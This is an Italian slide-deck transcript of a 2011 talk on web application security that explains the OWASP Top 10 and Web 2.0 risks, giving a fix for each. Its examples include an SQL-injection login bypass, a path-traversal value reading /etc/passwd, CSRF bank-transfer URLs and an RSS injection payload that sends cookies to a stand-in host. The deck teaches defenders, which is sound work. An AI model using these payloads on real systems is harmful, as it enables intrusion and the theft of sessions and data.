IT Security Competence Center Web Application …...03/03/2011 1 IT Security Competence Center Web...

03/03/2011

1

IT Security Competence Center

Web Application Security

Tito PetronioSANS GCFA, GWAS Certified Professional

18 Febbraio 2011

Agenda

◘ OWASP◘ Vulnerabilità delle Applicazioni Web◘ Sicurezza nel Web 2.0

◘ Conclusioni◘ Domande e Risposte


03/03/2011

2

I’Open Web Application Security Project (OWASP) è dedicato allacreazione e alla diffusione di informazioni relative alla sicurezzadelle applicazioni web

Il progetto è animato da un gruppo di professionisti del settore ed è attualmente impegnato su diverse linee …

• definizione dei criteri di progettazione

• analisi del software – code review (OWASP Testing Guide)

• creazione di tool per il vulnerability assessment

OWASP

Principale linea guida fornita dell’OWASP:

tutti gli input ricevuti da una applicazione devono essere validati LATO SERVER

HTTP request, header, cookie, file batch …

Fissandosi come obiettivo il rilascio in produzione di applicazioni

SICURE, OWASP descrive in modo dettagliato le tipologie diattacco eseguibili contro un applicativo, fornendo indicazioniimportanti sulle modalità di auditing

L’obiettivo di OWASP è quello di sensibilizzare il mondo dell’IT (enon solo) sulle conseguenze che queste vulnerabilità possonoavere sul proprio Business, sulla propria ed altrui Privacy

OWASP

03/03/2011

3

OWASP

www.owasp.org

“How to build, design and test the security of web applications and web services”

… ogni sviluppatore, e non solo, dovrebbe

analizzare il sito OWASP, ma soprattutto applicarne i consigli …

TOP 10 Risks – 2007

I. Cross Site Scripting (XSS)II. Injection FlawsIII. Malicious File ExecutionIV. Insecure Direct Object ReferenceV. Cross Site Request Forgery (CSRF)VI. Information Leaking & Error HandlingVII. Broken Authentication & Session MgmtVIII. Insecure Cryptographic StorageIX. Insecure CommunicationsX. Failure to Restrict URL Access

OWASP

TOP 10 Risks – 2010

I. Injection FlawsII. Cross Site Scripting (XSS)III. Broken Authentication & Session MgmtIV. Insecure Direct Object ReferenceV. Cross Site Request Forgery (CSRF)VI. Security MisconfigurationVII. Insecure Cryptographic StorageVIII. Failure to Restrict URL AccessIX. Insufficient Transport Layer ProtectionX. Unvalidate Redirects and Forwards

03/03/2011

4

OWASP

Cosa è stato rimosso?

◙ Unvalidated Input

◙ Buffer Overflows

◙ Denial of Service

◙ Insecure Configuration Management

Cosa è stato aggiunto?

◙ Cross Site Attacks (CSRF)

◙ Malicious File Execution

◙ Insecure Communications

◙ Information Leakage

OWASP

Cosa è stato rimosso?

◙ Malicious File Execution

◙ Information Leakage (stack trace)

Cosa è stato aggiunto?

◙ Security Misconfiguration

◙ Unvalidated Redirects and Forwards

03/03/2011

5

I – Injection Flaws

E’ relativo all’invio, da parte di un attaccante, di dati in input (comandi o query) passati dall’applicazione web all’interprete senza essere validati

Vi sono molti tipi

di Injection Flaws:

• SQL Injection (la più comune)• LDAP Injection

• XPath• XSLT• XML• HTML• OS Command Injection

Questo attacco permette di creare, leggere, modificare, cancellare qualsiasiinformazione associata all’applicazione. Un attaccante ha l’opportunità dicompromettere completamente l’applicazione e il S.O. sottostante,riuscendo a bypassare eventuali firewall

Vulnerabilità delle applicazioni web

Esempio (SQL Injection):

◙ Filtrare gli input ricevuti dall’applicazione

◙ Effettuare una completa code review del codice sorgente

Soluzione:

Hacker:

SELECT * FROM users WHERE id=‘admin’ AND pwd=‘’ OR 1=1 -- ‘

admin ‘ or 1=1 --

Sito web con accesso controllato da username e password controllate su database:

SELECT * FROM users WHERE id=‘$1’ AND pwd=‘$2’



03/03/2011

6



Un Injection Flaw può essere facilmente individuato esaminando il codice, mentre è più difficile tramite il testing

• SCANNERS

• FUZZERS

Vulnerabilità delle applicazioni webI – Injection Flaws

• SCANNERS

• FUZZERS

Tools che aiutano chi difende, per analizzare la propria applicazione .. Ma anche chi attacca !!!

Analizzano in modo automatico i parametri di un’applicazione, testando la robustezza contro attacchi di SQL Injection, Buffer Overflow, Format String, Command Execution, Directory Traversal etc …

• WebScarab

• Spike Proxy

• Burp Suite

03/03/2011

7

II - Cross Site Scripting – XSS (MAGGIOR DIFETTO …)

Si verifica quando un’applicazione riceve dati forniti in input dall’utente, e li elabora senza effettuare la validazione o l’encoding del

contenuto (escaping)

Quando l’applicazione restituisce i dati al client, il Browser che interpreta

tali dati non verificati, si trova ad eseguire attività malevole

• Hijaking della sessione utente

• Esecuzione Malware

• Attacchi di Phishing

Esecuzione di Script sul Browser (in genere JavaScript)

Diversi tipi di XSS1. Stored

2. Reflective


Ha successo quando un client Web invia dei dati che sono immediatamente immagazzinatidall’applicazione web (DB, FS etc.) e tali informazioni sono poi successivamente inviate ad altriutenti in una pagina web fornita dalla stessa applicazione, senza opportuna codifica delle entitàHTML

Stored

Ha successo quando un client Web fornisce dei dati che sono immediatamente utilizzati da scriptsul server per generare le informazioni richieste, e sono poi restituiti al browser senza unopportuno HTML encoding

Reflective


II - Cross Site Scripting – XSS

Lo script è inserito in un form e salvato as-is dall’application server nel database, e poi presentato as-is alle vittime

Lo script è camuffato all’interno di un URL, e inviato via mail alla vittima (o alle vittime)

03/03/2011

8



Chi attacca può impadronirsi della sessione, eseguire il defacing del sito, inserire contenuti ostili, reindirizzare l’utente … ma è oggettivamente difficile eseguire

attacchi devastanti solo utilizzando XSS …

◙ Filtrare gli input forniti dagli utenti per eliminare tag HTML e script◙ Quando l’applicazione restituisce i dati al Client, occorre essere certi che il Browser li interpreterà come testo, e non come «contenuto attivo». Servono verifiche manuali …

Soluzione:

Esempio (Stored XSS): Forum in cui gli utenti possono inserire commenti sugli articoli pubblicatiUn hacker inserisce un commento con un opportuno javascript…

votehillary.org



03/03/2011

9

III – Broken Authentication & Session Management

Queste due vulnerabilità sono riconducibili ad un’errata

implementazione della gestione delle credenziali di accesso e/o delle

chiavi di sessioni che rendono possibili accessi non autorizzatiall’applicazione, tramite «impersonificazione» di altre identità vittime

Hijacking di Utenze o Account Amministrativi

Vulnerabilità dovute ad errori nell’implementazioni delle

procedure:

◙ Logout

◙ Gestione Password

◙ “Remember me”

◙ Time-Out

◙ Aggiornamento Account



Gli sviluppatori spesso realizzano approcci personalizzati di gestionedella sessione e dell’autenticazione … a volte è difficile rilevare questavulnerabilità, ma se sfruttata ha conseguenze molto negative … ingenere chi testa ha a disposizione una user «base», e tenta unaescalation dei privilegi

03/03/2011

10

Esempio:

◙ Utilizzare tecniche adeguate per la gestione della sessione

◙ Non utilizzare funzioni come il ”remember me”

◙ Imporre il time-out automatico sulle sessioni

Soluzioni:

Un sito web utilizza un session ID in chiaro e non randomico:http://esempio.it/pubblica.asp?n=100&ID=IE02030004

Hacker: prova ad utilizzare procedure a cui solitamente non ha accesso:http://esempio.it/cancella.asp?n=100&ID=IE00000001


III – Broken Authentication & Session Management

IV – Insecure Direct Object Reference

Tale vulnerabilità si presenta quando nell’applicazione sono presentielementi liberamente manipolabili (file, directory, record database,

key, parametri URL/Form) in grado di permettere di risalire ad ulterioriinformazioni tali da portare ad una escalation dei privilegi oall’acquisizione di dati critici

!!! Qualsiasi Web Application Framework può essere vulnerabile !!!

E’ molto importante, durante la scrittura del codice applicativo, evitare che l’applicazione permetta ad un malintenzionato di

manipolare i riferimenti diretti agli oggetti


03/03/2011

11



Chi attacca, cambia il valore di un parametro, che fa riferimento ad un oggetto, accedendo ad un altro oggetto senza che l’utente abbia l’autorizzazione necessaria …

E’ opportuno che il name space sia offuscato (nomi e chiavi arbitrari o randomici) !!!

Esempio:

◙ Permettere gli accessi agli oggetti in modo controllato

◙ Effettuare una completa code review del codice sorgente

Soluzione:

Sito web che permette di selezionare la lingua

Il codice applicativo è del tipo:<select name="lang"><option value="it">Italy-Italian</option>

…

require_once ($_REQUEST['lang']."lang.php");

Hacker: cambia il parametro della lingua inserendo:require_once ($_REQUEST['../../../../etc/passwd%00']. "lang.php");



03/03/2011

12

V – Cross Site Request Forgery

Un attacco di questo tipo ha lo scopo di forzare il browser di una

vittima ad eseguire operazioni da lui non espressamente richieste,sfruttando una vulnerabilità applicativa come una non correttaimplementazione delle sessioni ed un passaggio dei parametri e deirispettivi valori di una richiesta attraverso l’uso del metodo GET

La vulnerabilità è efficace, in quanto oggi la maggior parte delleapplicazioni web si basa su una gestione delle credenzialiattraverso cookie di sessione, basic authentication, indirizzo IP

sorgente, certificati SSL, credenziali di dominio Windows

E’ un attacco semplice ma devastante




L’attaccante crea richieste HTTP malevoli, ingannando la vittimaattraverso immagini, tag, XSS o numerose altre tecniche

Occorre verificare che tutti i link/form contengano un token(possibilmente unico per ogni sessione utente o per ogni richiesta,nel Body) non prevedibile, per ogni utente. Senza questol’hacker/cracker può generare richieste malevoli

03/03/2011

13

Esempio :

◙ Inserire un token nascosto con valore casuale nei form

◙ Non accettare GET ma solo POST

◙ In caso di ri-autenticazione visualizzare una pagina di default

Soluzione:

Sito web bancario, URL per effettuare un bonifico:http://banca.it/bonifico.asp?euro=100&dest=IBAN_beneficiario

Hacker: invia una mail con un link contraffatto ad un cliente dellabanca:http://banca.it/bonifico.asp?euro=1000&dest=IBAN_hacker





Da OWASP …

03/03/2011

14

VI – Security Misconfiguration

Ad oggi è ancora la vulnerabilità più rilevante e presente suisistemi IT in generale …

Esempi …

◙ Applicazioni e sistemi non hardenizzati (dal disclosure alla mancanza di patch)

◙ Presenza delle configurazioni di default (install, next, next, next, finish)

◙ Errata gestione degli errori applicativi e di sistema

◙ Accesso alle interfacce amministrative non protetto (e con pwd di default)


why? … pcché?



Si possono rilevare ad ogni «livello» dell’applicazione ..piattaforma, web server, application server, framework, codicepersonalizzato …

Sviluppatori e amministratori di rete devono lavorareinsieme per mitigare i rischi …

03/03/2011

15

Esempio:

Effettuare un audit dettagliato dell’applicazione e dei sistemi (credenziali di default, porte/servizi, patch, gestione errori …)

Soluzione:



VII – Insecure Cryptographic Storage

Si tratta di una vulnerabilità causata dalla non corretta conservazione dei dati edall’errata implementazione delle funzioni applicative create con lo scopo diproteggere i dati sensibili

Problemi legati a:

Utilizzo errato

algoritmi di crittatura

Utilizzo metodi di

crittatura deboli

Portano a:

Disclosure di informazioni Compliance Violations


03/03/2011

16

Vulnerabilità delle applicazioni webVII – Insecure Cryptographic Storage

IMPO: occorre SEMPRE cifrare dati sanitari, dati di carte di credito, password edinformazioni personali … ma soprattutto:

• Cifrate ovunque !!! (es. anche nelle copie di backup)

• Funzioni di decifratura (es. query SQL), se necessarie, solo nel Back-End

• Solo user autorizzati devono poter accedere ai dati in chiaro

• Usare un algoritmo standard e ROBUSTO (no fai da te…)

• Usare chiavi di cifratura robuste … e i salt / iv

l \ n 26 (minuscole) 36 (minuscole alfanumeriche) 62 (miste alfanumeriche) 95 (tutti i caratteri)

5 0,67 ore 3,4 ore 51 ore 430 ore

6 17 ore 120 ore 130 giorni 4,7 anni

7 19 ore 180 giorni 22 anni 440 anni

8 1,3 anni 18 anni 1.400 anni 42.000 anni

9 34 anni 640 anni 86.000 anni 4.000.000 anni

10 890 anni 23.000 anni 5.300.000 anni 380.000.000 anni

Esempio (brute force password attack):


VII – Insecure Cryptographic Storage

03/03/2011

17

VIII – Failure to Restrict URL Access

Questa vulnerabilità si manifesta quando si utilizza, come metodo diprotezione, la tecnica “Security through Obscurity” per proteggere aree diun’applicazione web che non dovrebbero essere accessibili ad utenzenon autorizzate

◙ URL nascosti o speciali (/admin/adduser.php, /config/db.inc)

◙ Accesso a file nascosti (XML statici, report, documenti pdf)

◙ Sistemi di autenticazione deboli (flash, java applet)

Esempi:

Attacco di “Force Browsing”

utilizza tecniche di brute force per trovare pagine nascoste




È semplice identificare queste vulnerabilità, ma è difficile identificare le pagine(URL) esistenti da attaccare … i principali bersagli sono le

pagine di amministrazione

E’ importante catalogare ogni pagina della propria Applicazione, decidendo per ognuna se deve essere considerata pubblica o

privata

03/03/2011

18

Esempio:

Effettuare un audit dettagliato dell’applicazione

Soluzione:



IX – Insufficient Transport Layer Protection

Questa vulnerabilità consente ad un hacker di intercettare informazioni qualicredenziali di accesso e informazioni riservate che transitano su canali non

cifrati

Gli attacchi di solito sfruttanoSNIFFERS e sono perpetrabili su

ogni rete, anche switched

Nel caso in cui la comunicazione non sia cifrata correttamente, il classico

attacco man-in-the-middle (MTM) (in cui il traffico di rete viene dirottato da

un hacker) ottiene il massimo dei risultati possibili


03/03/2011

19

Vulnerabilità delle applicazioni webIX – Insufficient Transport Layer Protection

Spesso le applicazioni non proteggono correttamente il traffico di rete,utilizzando SSL/TLS solo durante la fase di autenticazione, utilizzandocertificati scaduti o non configurati correttamente

Esempio:

◙ Utilizzare comunicazioni cifrate anche per le applicazioni interne

◙ Effettuare audit di sicurezza sui protocolli applicativi e di rete

◙ Non utilizzare algoritmi di cifratura fai-da-te, ma solo algoritmi ROBUSTI

Soluzioni:


IX – Insufficient Transport Layer Protection

03/03/2011

20

X – Unvalidated Redirects and Forwards

Questa vulnerabilità consente ad un hacker di accedere a componentiapplicative o dati per le quali non è autorizzato oppure di forzare una vittimaad accedere ad un URL non previsto

Le applicazioni più vulnerabili sono quelle che utilizzano delle soluzioni fai-da-te oppure dei framework con errori di programmazione o nonmanutenuti nel tempo


◙ Accesso non autorizzato a risorse applicative

◙ Attacchi al client verso terze parti

◙ Installazione Malware / Phishing

Esempi:



L’attaccante forza la vittima a cliccare su un link con un redirect non validato.

Le applicazioni redirigono spesso gli utenti verso altre pagine o usanoforward interni, e purtroppo a volte la pagina bersaglio è specificata in unparametro non validato lato server …

03/03/2011

21

Esempio:

◙ Evitare di usare Redirect e Forward

◙ Non utilizzare parametri per costruire l’URL di destinazione

◙ Effettuare audit di sicurezza sull’applicazione web

Soluzioni:



Navigando un comune sito web …http://www.sito.it/goto.asp?d=http://www.google.it

http://www.sito.it/next.asp?p=notizie.jsp

Un Hacker fantasioso …

Invia una mail ad un vittima con un URL …http://www.sito.it/goto.asp?d=http://www.cattivo.it

Oppure naviga direttamente facendo qualche piccola modificahttp://www.sito.it/next.asp?p=admin.jsp

Web 2.0 è un nuovo termine coniato per descrivere una «nuova»generazione di applicazioni web che dovrebbero avere come elementitrainanti la dimensione sociale, la condivisione e l’indipendenza dei dati

dal produttore (blog, forum, chat, sistemi quali Wikipedia, Youtube,Facebook, Myspace, Twitter, Gmail, Wordpress)

Sicurezza nel web 2.0

La tecnologia utilizzata perimplementare questa “nuovaversione” del web è sempre lastessa: TCP, HTTP etc, cambiasolo il modo di pensare le

applicazioni ed i framework

utilizzati per svilupparle (AJAX,Adobe Flex etc.)

03/03/2011

22

Le vulnerabilità presenti nelle applicazioni web 2.0sono le stesse presenti nelle applicazioni web“versione 1.0” es: XSS, SQL Injection …

◙ XML Poisoning

◙ Malicious AJAX Code Execution

◙ WSDL Scanning and Enumeration

◙ Client Side Validation Attack

◙ Web Service Routing Attack◙ SOAP Parameter Manipulation

◙ XPATH Injection in XML Messages

◙ …

A cui si aggiungono nuovi vettori di attacco, dovuti principalmente all’uso diframework con elevato livello di interattività client/server, realizzatimediante XML:


WSDL Scanning and Enumeration

Il WSDL (Web Services Definition Language) è un’interfaccia per i webservice. Questo file fornisce informazioni chiave sulla tecnologia

utilizzata, sui metodi esposti e sulla modalità di invocazione

Queste informazioni sono veramente importanti e possono fornire ad unhacker molti punti di attacco !!!

◙ UDDI (Universal Description Discovery and Integration)

◙ DISCO (Web Service Discovery)

◙ DISCOMAP (file)

◙ WSDL (file)

Oggetti più comunemente attaccati:


03/03/2011

23

Esempio:

◙ Limitare l’accesso alle informazioni sui web services

◙ Cifrare la comunicazione con i web services

◙ Effettuare audit appositi sulle applicazioni SOAP/WS based

Soluzioni:


WSDL Scanning and Enumeration

RSS/Atom Injection

E’ un nuovo tipo di attacco molto sfruttato per colpire le applicazioni web 2.0

I feed RSS sono un metodo comune per condividere le informazioni tra portalied applicazioni web

Un attaccante può, per esempio, pubblicare in un feed un javascript che puòeseguire azioni maligne (quella più comune è di rubare i cookie autorizzativi)

◙ Javascript

◙Applicazioni Flash

◙ Controlli ActiveX

◙Applet Java

Oggetti più comunemente usati come vettori di attacco:


03/03/2011

24

Esempio:

◙ Filtrare tutti gli input forniti alle applicazioni

◙ Integrare feed che provengono solo da siti web sicuri

◙ Effettuare audit appositi sulle applicazioni SOAP/WS based

Soluzioni:

Una applicazione web integra un feed RSS che arriva da un sito nonsicuro:

http://badguy.it/rss.xml

Hacker:

pubblica nel feed un’immagine … particolare:src="http://badguy.it?data="+encodeURI(document.cookie);'

Sicurezza nel web 2.0RSS/Atom Injection

1. La sicurezza applicativa è un campo in continua evoluzione, nuovi

applicativi compaiono ogni giorno

2. Gli sviluppatori sono sempre più pressati per consegnare prodotti conun time-to-market sempre più ridotto

3. La complessità delle applicazioni aumenta con l’uso di framework e

componenti non sempre sviluppati pensando alla sicurezza

◙Addestramento per la scrittura di codice sicuro

◙Auditing accurato delle Applicazioni

◙ Implementazione di un SDL (Secure Development Lifecycle)

◙ Competenze specifiche da aggiornare continuamente

La sicurezza applicativa NON è un prodotto,

ma è un processo che necessita di:

Conclusioni

03/03/2011

25

Web Application Hacker’s Handbook

Developer’s Guide to


Hacking Exposed

Web 2.0

Libri

Riferimenti

Web

OWASP

http://www.owasp.org

Web Application Security Consortium

http://www.webappsec.org

Google …

http://www.google.com ☺

Riferimenti

03/03/2011

26

Riferimento: [email protected]

Domande e risposte

IT Security Competence Center Web Application …...03/03/2011 1 IT Security Competence Center Web...

Documents

Transcript of IT Security Competence Center Web Application …...03/03/2011 1 IT Security Competence Center Web...